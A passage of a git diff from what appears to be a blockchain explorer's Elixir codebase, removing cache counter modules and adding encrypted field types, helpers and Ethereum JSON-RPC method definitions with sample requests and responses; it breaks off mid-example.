- - schedule_next_consolidation() - - {:noreply, state} - end - - @doc """ - Fetches the info for a specific item from the `:ets` table. - """ - def fetch do - do_fetch(:ets.lookup(table_name(), cache_key())) - end - - defp do_fetch([{_, result}]), do: result - defp do_fetch([]), do: 0 - - @doc """ - Consolidates the info by populating the `:ets` table with the current database information. - """ - def consolidate do - counter = Chain.count_addresses() - - insert_counter({cache_key(), counter}) - end - - @doc """ - Returns a boolean that indicates whether consolidation is enabled - - In order to choose whether or not to enable the scheduler and the initial - consolidation, change the following Explorer config: - - `config :explorer, Explorer.Counters.AddressesCounter, enable_consolidation: true` - - to: - - `config :explorer, Explorer.Counters.AddressesCounter, enable_consolidation: false` - """ - def enable_consolidation?, do: @enable_consolidation -end diff --git a/apps/explorer/lib/explorer/counters/addresses_with_balance_counter.ex b/apps/explorer/lib/explorer/counters/addresses_with_balance_counter.ex deleted file mode 100644 index cdc2530f93b8..000000000000 --- a/apps/explorer/lib/explorer/counters/addresses_with_balance_counter.ex +++ /dev/null @@ -1,125 +0,0 @@ -defmodule Explorer.Counters.AddressesWithBalanceCounter do - @moduledoc """ - Caches the number of addresses with fetched coin balance > 0. - - It loads the count asynchronously and in a time interval of 30 minutes. - """ - - use GenServer - - alias Explorer.Chain - - @table :addresses_with_balance_counter - - @cache_key "addresses_with_balance" - - def table_name do - @table - end - - def cache_key do - @cache_key - end - - # It is undesirable to automatically start the consolidation in all environments. - # Consider the test environment: if the consolidation initiates but does not - # finish before a test ends, that test will fail. This way, hundreds of - # tests were failing before disabling the consolidation and the scheduler in - # the test env. - config = Application.get_env(:explorer, Explorer.Counters.AddressesWithBalanceCounter) - @enable_consolidation Keyword.get(config, :enable_consolidation) - - @update_interval_in_seconds Keyword.get(config, :update_interval_in_seconds) - - @doc """ - Starts a process to periodically update the counter of the token holders. - """ - @spec start_link(term()) :: GenServer.on_start() - def start_link(_) do - GenServer.start_link(__MODULE__, :ok, name: __MODULE__) - end - - @impl true - def init(_args) do - create_table() - - {:ok, %{consolidate?: enable_consolidation?()}, {:continue, :ok}} - end - - def create_table do - opts = [ - :set, - :named_table, - :public, - read_concurrency: true - ] - - :ets.new(table_name(), opts) - end - - defp schedule_next_consolidation do - Process.send_after(self(), :consolidate, :timer.seconds(@update_interval_in_seconds)) - end - - @doc """ - Inserts new items into the `:ets` table. - """ - def insert_counter({key, info}) do - :ets.insert(table_name(), {key, info}) - end - - @impl true - def handle_continue(:ok, %{consolidate?: true} = state) do - consolidate() - schedule_next_consolidation() - - {:noreply, state} - end - - @impl true - def handle_continue(:ok, state) do - {:noreply, state} - end - - @impl true - def handle_info(:consolidate, state) do - consolidate() - - schedule_next_consolidation() - - {:noreply, state} - end - - @doc """ - Fetches the info for a specific item from the `:ets` table. - """ - def fetch do - do_fetch(:ets.lookup(table_name(), cache_key())) - end - - defp do_fetch([{_, result}]), do: result - defp do_fetch([]), do: 0 - - @doc """ - Consolidates the info by populating the `:ets` table with the current database information. - """ - def consolidate do - counter = Chain.count_addresses_with_balance() - - insert_counter({cache_key(), counter}) - end - - @doc """ - Returns a boolean that indicates whether consolidation is enabled - - In order to choose whether or not to enable the scheduler and the initial - consolidation, change the following Explorer config: - - `config :explorer, Explorer.Counters.AddressesWithBalanceCounter, enable_consolidation: true` - - to: - - `config :explorer, Explorer.Counters.AddressesWithBalanceCounter, enable_consolidation: false` - """ - def enable_consolidation?, do: @enable_consolidation -end diff --git a/apps/explorer/lib/explorer/counters/average_block_time.ex b/apps/explorer/lib/explorer/counters/average_block_time.ex deleted file mode 100644 index 2c575a5fac9a..000000000000 --- a/apps/explorer/lib/explorer/counters/average_block_time.ex +++ /dev/null @@ -1,138 +0,0 @@ -defmodule Explorer.Counters.AverageBlockTime do - use GenServer - - @moduledoc """ - Caches the number of token holders of a token. - """ - - import Ecto.Query, only: [from: 2, where: 2] - - alias Explorer.Chain.Block - alias Explorer.Repo - alias Timex.Duration - - @doc """ - Starts a process to periodically update the counter of the token holders. - """ - @spec start_link(term()) :: GenServer.on_start() - def start_link(_) do - GenServer.start_link(__MODULE__, :ok, name: __MODULE__) - end - - def average_block_time do - enabled? = - :explorer - |> Application.fetch_env!(__MODULE__) - |> Keyword.fetch!(:enabled) - - if enabled? do - GenServer.call(__MODULE__, :average_block_time) - else - {:error, :disabled} - end - end - - def refresh do - GenServer.call(__MODULE__, :refresh_timestamps) - end - - ## Server - @impl true - def init(_) do - refresh_period = average_block_cache_period() - Process.send_after(self(), :refresh_timestamps, refresh_period) - - {:ok, refresh_timestamps()} - end - - @impl true - def handle_call(:average_block_time, _from, %{average: average} = state), do: {:reply, average, state} - - @impl true - def handle_call(:refresh_timestamps, _, _) do - {:reply, :ok, refresh_timestamps()} - end - - @impl true - def handle_info(:refresh_timestamps, _) do - refresh_period = Application.get_env(:explorer, __MODULE__)[:period] - Process.send_after(self(), :refresh_timestamps, refresh_period) - - {:noreply, refresh_timestamps()} - end - - defp refresh_timestamps do - base_query = - from(block in Block, - limit: 100, - offset: 100, - order_by: [desc: block.number], - select: {block.number, block.timestamp} - ) - - timestamps_query = - if Application.get_env(:explorer, :include_uncles_in_average_block_time) do - base_query - else - base_query - |> where(consensus: true) - end - - timestamps_row = - timestamps_query - |> Repo.all() - - timestamps = - timestamps_row - |> Enum.sort_by(fn {_, timestamp} -> timestamp end, &>=/2) - |> Enum.map(fn {number, timestamp} -> - {number, DateTime.to_unix(timestamp, :millisecond)} - end) - - %{timestamps: timestamps, average: average_distance(timestamps)} - end - - defp average_distance([]), do: Duration.from_milliseconds(0) - defp average_distance([_]), do: Duration.from_milliseconds(0) - - defp average_distance(timestamps) do - durations = durations(timestamps) - - {sum, count} = - Enum.reduce(durations, {0, 0}, fn duration, {sum, count} -> - {sum + duration, count + 1} - end) - - average = if count == 0, do: 0, else: sum / count - - average - |> round() - |> Duration.from_milliseconds() - end - - defp durations(timestamps) do - timestamps - |> Enum.reduce({[], nil, nil}, fn {block_number, timestamp}, {durations, last_block_number, last_timestamp} -> - if last_timestamp do - block_numbers_range = last_block_number - block_number - - if block_numbers_range == 0 do - {durations, block_number, timestamp} - else - duration = (last_timestamp - timestamp) / block_numbers_range - {[duration | durations], block_number, timestamp} - end - else - {durations, block_number, timestamp} - end - end) - |> elem(0) - end - - defp average_block_cache_period do - case Integer.parse(System.get_env("CACHE_AVERAGE_BLOCK_PERIOD", "")) do - {secs, ""} -> :timer.seconds(secs) - _ -> :timer.minutes(30) - end - end -end diff --git a/apps/explorer/lib/explorer/counters/block_burned_fee_counter.ex b/apps/explorer/lib/explorer/counters/block_burned_fee_counter.ex deleted file mode 100644 index 5726bf6e0a55..000000000000 --- a/apps/explorer/lib/explorer/counters/block_burned_fee_counter.ex +++ /dev/null @@ -1,81 +0,0 @@ -defmodule Explorer.Counters.BlockBurnedFeeCounter do - @moduledoc """ - Caches Block Burned Fee counter. - """ - use GenServer - - alias Explorer.Chain - alias Explorer.Counters.Helper - - @cache_name :block_burned_fee_counter - - config = Application.get_env(:explorer, Explorer.Counters.BlockBurnedFeeCounter) - @enable_consolidation Keyword.get(config, :enable_consolidation) - - @spec start_link(term()) :: GenServer.on_start() - def start_link(_) do - GenServer.start_link(__MODULE__, :ok, name: __MODULE__) - end - - @impl true - def init(_args) do - create_cache_table() - - {:ok, %{consolidate?: enable_consolidation?()}, {:continue, :ok}} - end - - @impl true - def handle_continue(:ok, %{consolidate?: true} = state) do - {:noreply, state} - end - - @impl true - def handle_continue(:ok, state) do - {:noreply, state} - end - - @impl true - def handle_info(:consolidate, state) do - {:noreply, state} - end - - def fetch(block_hash) do - if does_not_exist?(block_hash) do - update_cache(block_hash) - end - - block_hash_string = get_block_hash_string(block_hash) - fetch_from_cache("#{block_hash_string}") - end - - def cache_name, do: @cache_name - - defp does_not_exist?(block_hash) do - block_hash_string = get_block_hash_string(block_hash) - :ets.lookup(@cache_name, "#{block_hash_string}") == [] - end - - defp update_cache(block_hash) do - block_hash_string = get_block_hash_string(block_hash) - new_data = Chain.block_to_gas_used_by_1559_txs(block_hash) - put_into_cache("#{block_hash_string}", new_data) - end - - defp fetch_from_cache(key) do - Helper.fetch_from_cache(key, @cache_name) - end - - defp put_into_cache(key, value) do - :ets.insert(@cache_name, {key, value}) - end - - defp get_block_hash_string(block_hash) do - Base.encode16(block_hash.bytes, case: :lower) - end - - defp create_cache_table do - Helper.create_cache_table(@cache_name) - end - - defp enable_consolidation?, do: @enable_consolidation -end diff --git a/apps/explorer/lib/explorer/counters/block_priority_fee_counter.ex b/apps/explorer/lib/explorer/counters/block_priority_fee_counter.ex deleted file mode 100644 index 54df5a858204..000000000000 --- a/apps/explorer/lib/explorer/counters/block_priority_fee_counter.ex +++ /dev/null @@ -1,81 +0,0 @@ -defmodule Explorer.Counters.BlockPriorityFeeCounter do - @moduledoc """ - Caches Block Burned Fee counter. - """ - use GenServer - - alias Explorer.Chain - alias Explorer.Counters.Helper - - @cache_name :block_priority_fee_counter - - config = Application.get_env(:explorer, Explorer.Counters.BlockPriorityFeeCounter) - @enable_consolidation Keyword.get(config, :enable_consolidation) - - @spec start_link(term()) :: GenServer.on_start() - def start_link(_) do - GenServer.start_link(__MODULE__, :ok, name: __MODULE__) - end - - @impl true - def init(_args) do - create_cache_table() - - {:ok, %{consolidate?: enable_consolidation?()}, {:continue, :ok}} - end - - @impl true - def handle_continue(:ok, %{consolidate?: true} = state) do - {:noreply, state} - end - - @impl true - def handle_continue(:ok, state) do - {:noreply, state} - end - - @impl true - def handle_info(:consolidate, state) do - {:noreply, state} - end - - def fetch(block_hash) do - if does_not_exist?(block_hash) do - update_cache(block_hash) - end - - block_hash_string = get_block_hash_string(block_hash) - fetch_from_cache("#{block_hash_string}") - end - - def cache_name, do: @cache_name - - defp does_not_exist?(block_hash) do - block_hash_string = get_block_hash_string(block_hash) - :ets.lookup(@cache_name, "#{block_hash_string}") == [] - end - - defp update_cache(block_hash) do - block_hash_string = get_block_hash_string(block_hash) - new_data = Chain.block_to_priority_fee_of_1559_txs(block_hash) - put_into_cache("#{block_hash_string}", new_data) - end - - defp fetch_from_cache(key) do - Helper.fetch_from_cache(key, @cache_name) - end - - defp put_into_cache(key, value) do - :ets.insert(@cache_name, {key, value}) - end - - defp get_block_hash_string(block_hash) do - Base.encode16(block_hash.bytes, case: :lower) - end - - defp create_cache_table do - Helper.create_cache_table(@cache_name) - end - - defp enable_consolidation?, do: @enable_consolidation -end diff --git a/apps/explorer/lib/explorer/counters/helper.ex b/apps/explorer/lib/explorer/counters/helper.ex deleted file mode 100644 index e42c295f6ffe..000000000000 --- a/apps/explorer/lib/explorer/counters/helper.ex +++ /dev/null @@ -1,48 +0,0 @@ -defmodule Explorer.Counters.Helper do - @moduledoc """ - A helper for caching modules - """ - - @ets_opts [ - :set, - :named_table, - :public, - read_concurrency: true - ] - - def current_time do - utc_now = DateTime.utc_now() - - DateTime.to_unix(utc_now, :millisecond) - end - - def cache_period(env_var, default_hours) do - case Integer.parse(System.get_env(env_var, "")) do - {secs, ""} -> :timer.seconds(secs) - _ -> :timer.hours(default_hours) - end - end - - def cache_period_default_in_minutes(env_var, default_minutes) do - case Integer.parse(System.get_env(env_var, "")) do - {secs, ""} -> :timer.seconds(secs) - _ -> :timer.minutes(default_minutes) - end - end - - def fetch_from_cache(key, cache_name) do - case :ets.lookup(cache_name, key) do - [{_, value}] -> - value - - [] -> - 0 - end - end - - def create_cache_table(cache_name) do - if :ets.whereis(cache_name) == :undefined do - :ets.new(cache_name, @ets_opts) - end - end -end diff --git a/apps/explorer/lib/explorer/counters/last_fetched_counter.ex b/apps/explorer/lib/explorer/counters/last_fetched_counter.ex deleted file mode 100644 index e4d684c2f167..000000000000 --- a/apps/explorer/lib/explorer/counters/last_fetched_counter.ex +++ /dev/null @@ -1,30 +0,0 @@ -defmodule Explorer.Counters.LastFetchedCounter do - @moduledoc """ - Stores last fetched counters. - """ - - alias Explorer.Counters.LastFetchedCounter - use Explorer.Schema - - import Ecto.Changeset - - @type t :: %LastFetchedCounter{ - counter_type: String.t(), - value: Decimal.t() - } - - @primary_key false - schema "last_fetched_counters" do - field(:counter_type, :string) - field(:value, :decimal) - - timestamps() - end - - @doc false - def changeset(struct, params \\ %{}) do - struct - |> cast(params, [:counter_type, :value]) - |> validate_required([:counter_type]) - end -end diff --git a/apps/explorer/lib/explorer/counters/token_holders_counter.ex b/apps/explorer/lib/explorer/counters/token_holders_counter.ex deleted file mode 100644 index 2959f59f0d6b..000000000000 --- a/apps/explorer/lib/explorer/counters/token_holders_counter.ex +++ /dev/null @@ -1,93 +0,0 @@ -defmodule Explorer.Counters.TokenHoldersCounter do - @moduledoc """ - Caches Token holders counter. - """ - use GenServer - - alias Explorer.Chain - alias Explorer.Counters.Helper - - @cache_name :token_holders_counter - @last_update_key "last_update" - - config = Application.get_env(:explorer, Explorer.Counters.TokenHoldersCounter) - @enable_consolidation Keyword.get(config, :enable_consolidation) - - @spec start_link(term()) :: GenServer.on_start() - def start_link(_) do - GenServer.start_link(__MODULE__, :ok, name: __MODULE__) - end - - @impl true - def init(_args) do - create_cache_table() - - {:ok, %{consolidate?: enable_consolidation?()}, {:continue, :ok}} - end - - @impl true - def handle_continue(:ok, %{consolidate?: true} = state) do - {:noreply, state} - end - - @impl true - def handle_continue(:ok, state) do - {:noreply, state} - end - - @impl true - def handle_info(:consolidate, state) do - {:noreply, state} - end - - def fetch(address_hash) do - if cache_expired?(address_hash) do - update_cache(address_hash) - end - - address_hash_string = to_string(address_hash) - fetch_from_cache("hash_#{address_hash_string}") - end - - def cache_name, do: @cache_name - - defp cache_expired?(address_hash) do - cache_period = token_holders_counter_cache_period() - address_hash_string = to_string(address_hash) - updated_at = fetch_from_cache("hash_#{address_hash_string}_#{@last_update_key}") - - cond do - is_nil(updated_at) -> true - Helper.current_time() - updated_at > cache_period -> true - true -> false - end - end - - defp update_cache(address_hash) do - address_hash_string = to_string(address_hash) - put_into_cache("hash_#{address_hash_string}_#{@last_update_key}", Helper.current_time()) - new_data = Chain.count_token_holders_from_token_hash(address_hash) - put_into_cache("hash_#{address_hash_string}", new_data) - end - - defp fetch_from_cache(key) do - Helper.fetch_from_cache(key, @cache_name) - end - - defp put_into_cache(key, value) do - :ets.insert(@cache_name, {key, value}) - end - - defp create_cache_table do - Helper.create_cache_table(@cache_name) - end - - defp enable_consolidation?, do: @enable_consolidation - - defp token_holders_counter_cache_period do - case Integer.parse(System.get_env("CACHE_TOKEN_HOLDERS_COUNTER_PERIOD", "")) do - {secs, ""} -> :timer.seconds(secs) - _ -> :timer.hours(1) - end - end -end diff --git a/apps/explorer/lib/explorer/counters/token_transfers_counter.ex b/apps/explorer/lib/explorer/counters/token_transfers_counter.ex deleted file mode 100644 index 8ed6d9effadc..000000000000 --- a/apps/explorer/lib/explorer/counters/token_transfers_counter.ex +++ /dev/null @@ -1,90 +0,0 @@ -defmodule Explorer.Counters.TokenTransfersCounter do - @moduledoc """ - Caches Token transfers counter. - """ - use GenServer - - alias Explorer.Chain - alias Explorer.Counters.Helper - - @cache_name :token_transfers_counter - @last_update_key "last_update" - - config = Application.get_env(:explorer, Explorer.Counters.TokenTransfersCounter) - @enable_consolidation Keyword.get(config, :enable_consolidation) - - @spec start_link(term()) :: GenServer.on_start() - def start_link(_) do - GenServer.start_link(__MODULE__, :ok, name: __MODULE__) - end - - @impl true - def init(_args) do - create_cache_table() - - {:ok, %{consolidate?: enable_consolidation?()}, {:continue, :ok}} - end - - @impl true - def handle_continue(:ok, %{consolidate?: true} = state) do - {:noreply, state} - end - - @impl true - def handle_continue(:ok, state) do - {:noreply, state} - end - - @impl true - def handle_info(:consolidate, state) do - {:noreply, state} - end - - def fetch(address_hash) do - if cache_expired?(address_hash) do - update_cache(address_hash) - end - - address_hash_string = to_string(address_hash) - fetch_from_cache("hash_#{address_hash_string}") - end - - def cache_name, do: @cache_name - - defp cache_expired?(address_hash) do - cache_period = token_transfers_counter_cache_period() - address_hash_string = to_string(address_hash) - updated_at = fetch_from_cache("hash_#{address_hash_string}_#{@last_update_key}") - - cond do - is_nil(updated_at) -> true - Helper.current_time() - updated_at > cache_period -> true - true -> false - end - end - - defp update_cache(address_hash) do - address_hash_string = to_string(address_hash) - put_into_cache("hash_#{address_hash_string}_#{@last_update_key}", Helper.current_time()) - new_data = Chain.count_token_transfers_from_token_hash(address_hash) - put_into_cache("hash_#{address_hash_string}", new_data) - end - - defp fetch_from_cache(key) do - Helper.fetch_from_cache(key, @cache_name) - end - - defp put_into_cache(key, value) do - :ets.insert(@cache_name, {key, value}) - end - - defp create_cache_table do - Helper.create_cache_table(@cache_name) - end - - defp enable_consolidation?, do: @enable_consolidation - - defp token_transfers_counter_cache_period do - Helper.cache_period("CACHE_TOKEN_TRANSFERS_COUNTER_PERIOD", 1) - end -end diff --git a/apps/explorer/lib/explorer/custom_contracts_helper.ex b/apps/explorer/lib/explorer/custom_contracts_helper.ex new file mode 100644 index 000000000000..658f88cda9ad --- /dev/null +++ b/apps/explorer/lib/explorer/custom_contracts_helper.ex @@ -0,0 +1,18 @@ +defmodule Explorer.CustomContractsHelper do + @moduledoc """ + Helper to enable custom contracts themes + """ + + def get_custom_addresses_list(env_var) do + addresses_var = Application.get_env(:block_scout_web, env_var) + addresses_list = (addresses_var && String.split(addresses_var, ",")) || [] + + formatted_addresses_list = + addresses_list + |> Enum.map(fn addr -> + String.downcase(addr) + end) + + formatted_addresses_list + end +end diff --git a/apps/explorer/lib/explorer/custom_contracts_helpers.ex b/apps/explorer/lib/explorer/custom_contracts_helpers.ex deleted file mode 100644 index fa843495e709..000000000000 --- a/apps/explorer/lib/explorer/custom_contracts_helpers.ex +++ /dev/null @@ -1,22 +0,0 @@ -defmodule Explorer.CustomContractsHelpers do - @moduledoc """ - Helpers to enable custom contracts themes - """ - - def get_custom_addresses_list(env_var) do - addresses_var = get_raw_custom_addresses_list(env_var) - addresses_list = (addresses_var && String.split(addresses_var, ",")) || [] - - formatted_addresses_list = - addresses_list - |> Enum.map(fn addr -> - String.downcase(addr) - end) - - formatted_addresses_list - end - - def get_raw_custom_addresses_list(env_var) do - Application.get_env(:block_scout_web, env_var) - end -end diff --git a/apps/explorer/lib/explorer/encrypted/address_hash.ex b/apps/explorer/lib/explorer/encrypted/address_hash.ex new file mode 100644 index 000000000000..fb90251f1e60 --- /dev/null +++ b/apps/explorer/lib/explorer/encrypted/address_hash.ex @@ -0,0 +1,7 @@ +defmodule Explorer.Encrypted.AddressHash do + @moduledoc false + + use Explorer.Encrypted.Types.AddressHash, vault: Explorer.Vault + + @type t :: Explorer.Chain.Hash.Address.t() +end diff --git a/apps/explorer/lib/explorer/encrypted/binary.ex b/apps/explorer/lib/explorer/encrypted/binary.ex new file mode 100644 index 000000000000..7a5e62bd39af --- /dev/null +++ b/apps/explorer/lib/explorer/encrypted/binary.ex @@ -0,0 +1,7 @@ +defmodule Explorer.Encrypted.Binary do + @moduledoc false + + use Cloak.Ecto.Binary, vault: Explorer.Vault + + @type t :: binary() +end diff --git a/apps/explorer/lib/explorer/encrypted/transaction_hash.ex b/apps/explorer/lib/explorer/encrypted/transaction_hash.ex new file mode 100644 index 000000000000..fa240c27e3b1 --- /dev/null +++ b/apps/explorer/lib/explorer/encrypted/transaction_hash.ex @@ -0,0 +1,7 @@ +defmodule Explorer.Encrypted.TransactionHash do + @moduledoc false + + use Explorer.Encrypted.Types.TransactionHash, vault: Explorer.Vault + + @type t :: Explorer.Chain.Hash.Full.t() +end diff --git a/apps/explorer/lib/explorer/encrypted/types/address_hash.ex b/apps/explorer/lib/explorer/encrypted/types/address_hash.ex new file mode 100644 index 000000000000..f9ca332c538f --- /dev/null +++ b/apps/explorer/lib/explorer/encrypted/types/address_hash.ex @@ -0,0 +1,27 @@ +defmodule Explorer.Encrypted.Types.AddressHash do + @moduledoc """ + An `Ecto.Type` to encrypt address_hash fields. + """ + + @doc false + defmacro __using__(opts) do + opts = Keyword.merge(opts, vault: Keyword.fetch!(opts, :vault)) + + quote do + use Cloak.Ecto.Type, unquote(opts) + + def cast(value) do + Explorer.Chain.Hash.Address.cast(value) + end + + def after_decrypt(nil), do: nil + def after_decrypt(""), do: nil + def after_decrypt(:error), do: nil + + def after_decrypt(value) do + {:ok, address_hash} = Explorer.Chain.Hash.Address.cast(value) + address_hash + end + end + end +end diff --git a/apps/explorer/lib/explorer/encrypted/types/transaction_hash.ex b/apps/explorer/lib/explorer/encrypted/types/transaction_hash.ex new file mode 100644 index 000000000000..7c39a9aeca57 --- /dev/null +++ b/apps/explorer/lib/explorer/encrypted/types/transaction_hash.ex @@ -0,0 +1,27 @@ +defmodule Explorer.Encrypted.Types.TransactionHash do + @moduledoc """ + An `Ecto.Type` to encrypt transaction_hash fields. + """ + + @doc false + defmacro __using__(opts) do + opts = Keyword.merge(opts, vault: Keyword.fetch!(opts, :vault)) + + quote do + use Cloak.Ecto.Type, unquote(opts) + + def cast(value) do + Explorer.Chain.Hash.Full.cast(value) + end + + def after_decrypt(nil), do: nil + def after_decrypt(""), do: nil + def after_decrypt(:error), do: nil + + def after_decrypt(value) do + {:ok, transaction_hash} = Explorer.Chain.Hash.Full.cast(value) + transaction_hash + end + end + end +end diff --git a/apps/explorer/lib/explorer/env_var_translator.ex b/apps/explorer/lib/explorer/env_var_translator.ex new file mode 100644 index 000000000000..5e2db974d91b --- /dev/null +++ b/apps/explorer/lib/explorer/env_var_translator.ex @@ -0,0 +1,24 @@ +defmodule Explorer.EnvVarTranslator do + @moduledoc """ + The module for transformation of environment variables + """ + + alias Poison.Parser + + @spec map_array_env_var_to_list(atom()) :: list() + def map_array_env_var_to_list(config_name) do + env_var = Application.get_env(:block_scout_web, config_name) + + if env_var do + try do + env_var + |> Parser.parse!(%{keys: :atoms!}) + rescue + _ -> + [] + end + else + [] + end + end +end diff --git a/apps/explorer/lib/explorer/eth_rpc.ex b/apps/explorer/lib/explorer/eth_rpc.ex index ed7e6830802b..b51e5ed13f3c 100644 --- a/apps/explorer/lib/explorer/eth_rpc.ex +++ b/apps/explorer/lib/explorer/eth_rpc.ex @@ -2,12 +2,30 @@ defmodule Explorer.EthRPC do @moduledoc """ Ethereum JSON RPC methods logic implementation. """ + import Explorer.EthRpcHelper + + import EthereumJSONRPC, only: [integer_to_quantity: 1] + + use Utils.CompileTimeEnvHelper, chain_type: [:explorer, :chain_type] alias Ecto.Type, as: EctoType - alias Explorer.{Chain, Repo} - alias Explorer.Chain.{Block, Data, Hash, Hash.Address, Wei} - alias Explorer.Chain.Cache.BlockNumber - alias Explorer.Etherscan.{Blocks, Logs, RPC} + alias Explorer.{BloomFilter, Chain, Helper, Repo} + + alias Explorer.Chain.{ + Block, + Data, + DenormalizationHelper, + Hash, + Hash.Address, + Transaction, + Transaction.Status, + Wei + } + + alias Explorer.Chain.Cache.{BlockNumber, GasPriceOracle} + alias Explorer.Etherscan.{Blocks, Logs} + + @nil_gas_price_message "Gas price is not estimated yet" @methods %{ "eth_blockNumber" => %{ @@ -54,13 +72,13 @@ defmodule Explorer.EthRPC do action: :eth_get_logs, notes: """ Will never return more than 1000 log entries.\n - For this reason, you can use pagination options to request the next page. Pagination options params: {"logIndex": "3D", "blockNumber": "6423AC", "transactionIndex": 53} which include parameters from the last log received from the previous request. These three parameters are required for pagination. + For this reason, you can use pagination options to request the next page. Pagination options params: {"logIndex": "3D", "blockNumber": "6423AC"} which include parameters from the last log received from the previous request. These three parameters are required for pagination. """, example: """ {"id": 0, "jsonrpc": "2.0", "method": "eth_getLogs", "params": [ {"address": "0xc78Be425090Dbd437532594D12267C5934Cc6c6f", - "paging_options": {"logIndex": "3D", "blockNumber": "6423AC", "transactionIndex": 53}, + "paging_options": {"logIndex": "3D", "blockNumber": "6423AC"}, "fromBlock": "earliest", "toBlock": "latest", "topics": ["0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef"]}]} @@ -84,6 +102,553 @@ defmodule Explorer.EthRPC do }] } """ + }, + "eth_gasPrice" => %{ + action: :eth_gas_price, + notes: """ + Returns the average gas price per gas in wei. + """, + example: """ + {"jsonrpc": "2.0", "id": 4, "method": "eth_gasPrice", "params": []} + """, + params: [], + result: """ + {"jsonrpc": "2.0", "id": 4, "result": "0xbf69c09bb"} + """ + }, + "eth_getTransactionByHash" => %{ + action: :eth_get_transaction_by_hash, + notes: """ + """, + example: """ + {"jsonrpc": "2.0", "id": 4, "method": "eth_getTransactionByHash", "params": ["0x98318a5a22e363928d4565382c1022a8aed169b6a657f639c2f5c6e2c5114e4c"]} + """, + params: [ + %{ + name: "Data", + description: "32 Bytes - transaction hash to get", + type: "string", + default: nil, + required: true + } + ], + result: """ + { + "jsonrpc": "2.0", + "result": { + "blockHash": "0x33c4ddb4478395b9d73aad2eb8640004a4a312da29ebccbaa33933a43edda019", + "blockNumber": "0x87855e", + "chainId": "0x5", + "from": "0xe38ecdf3cfbaf5cf347e6a3d6490eb34e3a0119d", + "gas": "0x186a0", + "gasPrice": "0x195d", + "hash": "0xfe524295c6c01ab25645035a228387bf0e64c8af429f3dd9d6ef2e3b05337839", + "input": "0xe9e05c42000000000000000000000000e38ecdf3cfbaf5cf347e6a3d6490eb34e3a0119d0000000000000000000000000000000000000000000000000001c6bf5263400000000000000000000000000000000000000000000000000000000000000186a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", + "maxFeePerGas": null, + "maxPriorityFeePerGas": null, + "nonce": "0x1", + "r": "0xf2a3f18fd456ef9a9d6201cf622b5ad14db9cfc6786ba574e036037f80a15d61", + "s": "0x4cbb018dc0a966cd15a6bf5f3d432c72127639314d6aeb7a6bbb36000d86dc08", + "to": "0xe93c8cd0d409341205a592f8c4ac1a5fe5585cfa", + "transactionIndex": "0x7f", + "type": "0x0", + "v": "0x2d", + "value": "0x1c6bf52634000" + }, + "id": 4 + } + """ + }, + "eth_getTransactionReceipt" => %{ + action: :eth_get_transaction_receipt, + notes: """ + """, + example: """ + {"jsonrpc": "2.0","id": 0,"method": "eth_getTransactionReceipt","params": ["0xFE524295C6C01AB25645035A228387BF0E64C8AF429F3DD9D6EF2E3B05337839"]} + """, + params: [ + %{ + name: "Data", + description: "32 Bytes - transaction hash to get", + type: "string", + default: nil, + required: true + } + ], + result: """ + { + "jsonrpc": "2.0", + "result": { + "logsBloom": "0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000040000000000000000000000000002000000000000000000000000000000000000000000000000030000000000000000000800000000000000000000000000000000000000000000000002000000008000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000020000000000000000000000000002000000000000000080000000000000000000000", + "blockHash": "0x33c4ddb4478395b9d73aad2eb8640004a4a312da29ebccbaa33933a43edda019", + "blockNumber": "0x87855e", + "contractAddress": null, + "cumulativeGasUsed": "0x15a9b84", + "effectiveGasPrice": "0x195d", + "from": "0xe38ecdf3cfbaf5cf347e6a3d6490eb34e3a0119d", + "gasUsed": "0x9821", + "logs": [ + { + "address": "0xe93c8cd0d409341205a592f8c4ac1a5fe5585cfa", + "blockHash": "0x33c4ddb4478395b9d73aad2eb8640004a4a312da29ebccbaa33933a43edda019", + "blockNumber": "0x87855e", + "data": "0x000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000490000000000000000000000000000000000000000000000000001c6bf526340000000000000000000000000000000000000000000000000000001c6bf5263400000000000000186a0000000000000000000000000000000000000000000000000", + "logIndex": "0xdf", + "removed": false, + "topics": [ + "0xb3813568d9991fc951961fcb4c784893574240a28925604d09fc577c55bb7c32", + "0x000000000000000000000000e38ecdf3cfbaf5cf347e6a3d6490eb34e3a0119d", + "0x000000000000000000000000e38ecdf3cfbaf5cf347e6a3d6490eb34e3a0119d", + "0x0000000000000000000000000000000000000000000000000000000000000000" + ], + "transactionHash": "0xfe524295c6c01ab25645035a228387bf0e64c8af429f3dd9d6ef2e3b05337839", + "transactionIndex": "0x7f" + } + ], + "status": "0x1", + "to": "0xe93c8cd0d409341205a592f8c4ac1a5fe5585cfa", + "transactionHash": "0xfe524295c6c01ab25645035a228387bf0e64c8af429f3dd9d6ef2e3b05337839", + "transactionIndex": "0x7f", + "type": "0x0" + }, + "id": 0 + } + """ + }, + "eth_chainId" => %{ + action: :eth_chain_id, + notes: """ + """, + example: """ + {"jsonrpc": "2.0","id": 0,"method": "eth_chainId","params": []} + """, + params: [], + result: """ + { + "jsonrpc": "2.0", + "id": 0, + "result": "0x5" + } + """ + }, + "eth_maxPriorityFeePerGas" => %{ + action: :eth_max_priority_fee_per_gas, + notes: """ + """, + example: """ + {"jsonrpc": "2.0","id": 0,"method": "eth_maxPriorityFeePerGas","params": []} + """, + params: [], + result: """ + { + "jsonrpc": "2.0", + "id": 0, + "result": "0x3b9aca00" + } + """ + } + } + + @proxy_methods %{ + "eth_getTransactionCount" => %{ + arity: 2, + params_validators: [&address_hash_validator/1, &block_validator/1], + example: """ + {"id": 0, "jsonrpc": "2.0", "method": "eth_getTransactionCount", "params": ["0x0000000000000000000000000000000000000007", "latest"]} + """, + result: """ + {"id": 0, "jsonrpc": "2.0", "result": "0x2"} + """ + }, + "eth_getCode" => %{ + arity: 2, + params_validators: [&address_hash_validator/1, &block_validator/1], + example: """ + {"jsonrpc":"2.0","id": 0,"method":"eth_getCode","params":["0x1BF313AADe1e1f76295943f40B558Eb13Db7aA99", "latest"]} + """, + result: """ + { + "jsonrpc": "2.0", + "result": 